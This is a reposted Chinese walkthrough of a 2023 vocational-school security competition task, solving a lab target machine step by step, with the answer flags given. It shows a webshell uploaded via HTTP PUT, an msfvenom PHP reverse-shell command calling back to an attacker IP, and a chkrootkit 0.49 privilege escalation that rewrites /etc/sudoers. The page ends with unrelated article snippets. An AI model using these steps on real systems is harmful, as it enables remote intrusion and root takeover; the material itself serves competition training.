2023年武汉市中等职业教育网络安全赛项竞赛试题——综合靶机渗透测试解析教程

news2025/1/11 16:47:26

任务一:综合靶机渗透测试
任务环境说明:
服务器场景:ZHCS-2(关闭连接)
服务器场景操作系统:版本不详
大家需要靶机环境可以私信我获取
1.扫描目标靶机将靶机开放的所有端口,当作flag提交(例:21,22,23)
在这里插入图片描述

FLAG:22,80
2.扫描目标靶机将靶机的http服务版本信息当作flag提交(例:apache 2.3.4)
在这里插入图片描述

FLAG: lighttpd 1.4.28
3.靶机网站存在目录遍历漏洞,请将html页面中的倒数第二行中的name当作flag提交
在这里插入图片描述
在这里插入图片描述

FLAG: Parent Directory
4.使用kali对目标靶机进行渗透测试,将目标内核版本当作flag值提交
在这里插入图片描述

使用put方法发现可以上传
在这里插入图片描述

于是我们可以直接使用PUT方法上传一句话木马
在这里插入图片描述

然后使用中国菜刀连接shell
在这里插入图片描述

连接成功如下图:
在这里插入图片描述

接下来根据题目,我们可以打开虚拟终端来查看系统内核版本信息
在这里插入图片描述

FLAG:Ubuntu 12.04.4 LTS
5.该靶机存在提权漏洞,请将存在提权漏洞的程序名当作flag值提交
使用msfvenom生成攻击载荷模块
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.94.156 lport=443 R >php_shell.php
在这里插入图片描述
在这里插入图片描述

然后使用msf进行监听
在这里插入图片描述

点击执行所上传的脚本 ,成功反弹shell
在这里插入图片描述
在这里插入图片描述

成功返回shell,然后我们这里用python打开一个标准的shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’
在这里插入图片描述

Whoami;pwd;uname -a查看以下系统的全部信息
在这里插入图片描述

我们可以使用 ls -la /etc/cron*查看文件
#crontab 是用来让使用者在固定时间或固定间隔执行程序之用,换句话说,也就是类似使用者的时程表
在这里插入图片描述

在/etc/cron.dayly目录下,发现chkrootkit工具,然后我们查看一下chkrootkit的版本
在这里插入图片描述

FLAG:chkrootkit version 0.49或者chkrootkit-0.49
6.在kali中搜索该提权漏洞,并将漏洞的披露时间当作flag值提交.(例:2023-05-26)
根据上一题的漏洞名称,我们返回kali搜索相关的漏洞披露时间
在这里插入图片描述

FLAG:2014-06-04
7.root家目录下存在一个***.txt文件,文件名+文件内容当作flag提交,用+号连接(例:***.txt+qwoingqwoighoqisfhoasf)
然后根据以上题目,我们需要提权到root权限
提权步骤:
1.在/ tmp中放入一个名为’update’的非root所有者的可执行文件。
2以root身份运行chkrootkit,其文件/ tmp /update将以root身份执行。
如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。
在这里插入图片描述

(1)在/tmp目录下创建update文件,并赋予可执行权限
Touch update
Chmod +x update
在这里插入图片描述

(2)、向update文件中写入将www-date添加到sudo组的命令
echo ‘chmod +w /etc/sudoer && echo “www-data ALL=(ALL) NOPASSWD:ALL” > /etc/sudoers’ > /tmp/update
在这里插入图片描述

(3)、查看当前用户可执行的sudo文件
在这里插入图片描述

(4)、sudo进行提权,成功提权
然后根据题目,我们进入家目录下面查看文件
在这里插入图片描述

文件名:7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
在这里插入图片描述

文件内容:ease to struggle and you cease to live.
FLAG:7d03aaa2bf93d80040f3f22ec6ad9d5a.txt+ease to struggle and you cease to live.
Powered by 旺仔Sec
博客链接:https://blog.csdn.net/qq_50377269?spm=1010.2135.3001.5343

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/886263.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【学会动态规划】乘积为正数的最长子数组长度(21)

目录 动态规划怎么学? 1. 题目解析 2. 算法原理 1. 状态表示 2. 状态转移方程 3. 初始化 4. 填表顺序 5. 返回值 3. 代码编写 写在最后: 动态规划怎么学? 学习一个算法没有捷径,更何况是学习动态规划, 跟我…

ESP32 历程解析

最近在用esp32做项目,记录一下 使用的esp32 的官方历程的作用 一、USB历程 1.host 1) cdc_acm_host 这个历程可以用来驱动 usb的虚拟串口从机 cdc__vcp 和 cdc_acm 方式虚拟的串口需要根据自己的设备 修改 VID 和 PID /*cdc-acm*/ #define EXAMPLE_US…

非计算机科班如何顺利转码进入计算机领域?

文章目录 如何规划才能实现转码?计算机岗位发展前景?现阶段转码 总结 🎉欢迎来到Java学习路线专栏~探索非计算机科班如何顺利转码进入计算机领域 ☆* o(≧▽≦)o *☆嗨~我是IT陈寒🍹✨博客主页:IT陈寒的博客&#x1f3…

8.16日 算法做题【4道题】

8. 分行从上往下打印二叉树 ( 利用两个队列遍历 ) 利用数组个数 进行遍历 原题链接 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode(int x) : val(x), left(N…

工业设备状态监测如何实现从技术试点到规模实施?

工业企业正逐步引入基于人工智能的持续监控设备健康状况系统,这对工业维护领域带来了颠覆性的影响。然而,与任何新技术一样,要实现其最大价值,需要克服一些挑战。在数字化转型中,成功实现工业设备状态监测的从技术试点…

企业什么时候需要PMO?PMO的作用和职责是什么?

在当今复杂的商业环境中,企业依靠高效的项目管理来推动成功和实现战略目标。这就是**项目管理办公室**(PMO)发挥作用的地方。那么,PMO在企业中的作用和职责究竟是什么?本文就这个问题来做个探讨。 PMO (项…

第 3 章 稀疏数组和队列(1)

3.1 稀疏 sparsearray 数组 3.1.1先看一个实际的需求 编写的五子棋程序中,有存盘退出和续上盘的功能。 分析问题: 因为该二维数组的很多值是默认值 0.因此记录了很多没有意义的数据.->稀疏数组 3.1.2基本介绍 当一个数组中大部分元素为 0,或者为同…

python进阶之符号计算概述SymPy

一、概述 1.1SymPy简介 SymPy 是一个由 Python 编写的符号计算库,它的目标是成为一个全功能的计算机代数系统,同时保持代码简洁、易于理解和扩展。它完全由 Python 写成,不依赖于外部库。SymPy 支持符号计算、高精度计算、模式匹配、绘图、解…

搭建Excel服务器

1、下载Excel服务器 下载地址 2、解压文件 3、打开服务器 4、服务器运行信息 5、连接测试 打开客户端 6、登录到服务器 默认账号 密码 admin 3 修改文件保存路径(服务器端点击配置) 7、客户端整体界面 8、配置权限 9、设计模板 10、其他用户登录就可以填写信息 11、用户&#…

JVM基础了解

JVM 是java虚拟机。 作用:运行并管理java源码文件锁生成的Class文件;在不同的操作系统上安装不同的JVM,从而实现了跨平台的保证。一般在安装完JDK或者JRE之后,其中就已经内置了JVM,只需要将Class文件交给JVM即可 写好的…

【MCUXpresso for VS Code】-- 工程搭建后期维护

​ 基于上一篇文章【MCUXpresso for VS Code】 – 基于VSCode搭建nxp mcu工程_ 本章将介绍工程搭建完成后,后期维护问题。 1.MCUXpresso 插件窗口 该窗口,通常用在编译调试,工程导入导出等场合。编译和调试除了点击图标外,也可以…

python简单计算器

附赠源码: import PySimpleGUI as sg import relistsNumber [[AC, (, ), %],[1, 2, 3, ],[4, 5, 6, -],[7, 8, 9, x],[0, ., , ], ]layout [[sg.Text(font(黑体, 10), key-msg-)],[sg.Multiline(,key-show-,s(22, 10),font(黑体, 14),border_width1,expand_xTrue…

Java进阶(3)——手动实现ArrayList 源码的初步理解分析 数组插入数据和删除数据的问题

目录 引出手动实现ArrayList定义接口MyList<T>写ArrayList的实现类增加元素删除元素 写测试类进行测试数组插入数据? 总结 引出 1.ArrayList的结构分析&#xff0c;可迭代接口&#xff0c;是List的实现&#xff1b; 2.数组增加元素和删除元素的分析&#xff0c;何时扩容…

Spring三级缓存解决循环依赖问题

一、Bean对象的创建过程 一般的Bean对象如下&#xff1a;首先通过构造器构造一个普通对象&#xff0c;然后进行依赖注入&#xff0c;再进行一些初始化操作&#xff0c;初始化后根据AOP生成代理对象&#xff0c;最后再放入单例池map&#xff0c;这个单例池map就是一级缓存。 …

Data Abstract for .NET and Delphi Crack

Data Abstract for .NET and Delphi Crack .NET和Delphi的数据摘要是一套或RAD工具&#xff0c;用于在.NET、Delphi和Mono中编写多层解决方案。NET和Delphi的数据摘要是一个套件&#xff0c;包括RemObjects.NET和Delphi版本的数据摘要。RemObjects Data Abstract允许您创建访问…

DHCP Server

简介 动态主机配置协议 DHCP&#xff08;Dynamic Host Configuration Protocol&#xff0c;动态主机配置协议&#xff09; 是 RFC 1541&#xff08;已被 RFC 2131 取代&#xff09;定义的标准协议&#xff0c;该协议允许服务器向客户端动态分配 IP 地址和配置信息。 使用UDP协…

C++MFC 串口通信 上位机

本节介绍 在工业控制中&#xff0c;工控机(一般都基于Windows平台)经常需要与智能仪表通过串口进行通信。串口通信方便易行&#xff0c;应用广泛。 一般情况下&#xff0c;工控机和各智能仪表通过RS485总线进行通信。RS485的通信方式是半双工的&#xff0c;只能由作为主…

软件测试知识库+1,5款顶级自动化测试工具推荐和使用分析

“工欲善其事必先利其器”&#xff0c;在自动化测试领域&#xff0c;自动化测试工具的核心地位不容置疑的。目前市面上有很多可以支持接口测试的工具&#xff0c;在网上随便一搜就可以出来很多&#xff0c;利用自动化测试工具进行接口测试&#xff0c;可以很好的提高测试效率&a…

Web3创新者之夜,与其他开发者一同畅谈波卡生态

Token2049在即&#xff0c;许多开发者都将在9月中齐聚新加坡&#xff0c;一同讨论区块链生态发展及未来。届时将会有超过1万名与会者&#xff0c;并有超过300个赞助商和项目协助支持本次大会。波卡作为跨链互操作性的龙头生态也将参与至本次盛会之中。 为了让波卡社区的成员、贡…

uniapp微信小程序消息订阅快速上手

一、微信公众平台小程序开通消息订阅并设置模板 这边的模板id和详细内容后续前后端需要使用 二、uniapp前端 需要是一个button触发 js&#xff1a; wx.getSetting({success(res){console.log(res)if(res.authSetting[scope.subscribeMessage]){// 业务逻辑}else{uni.request…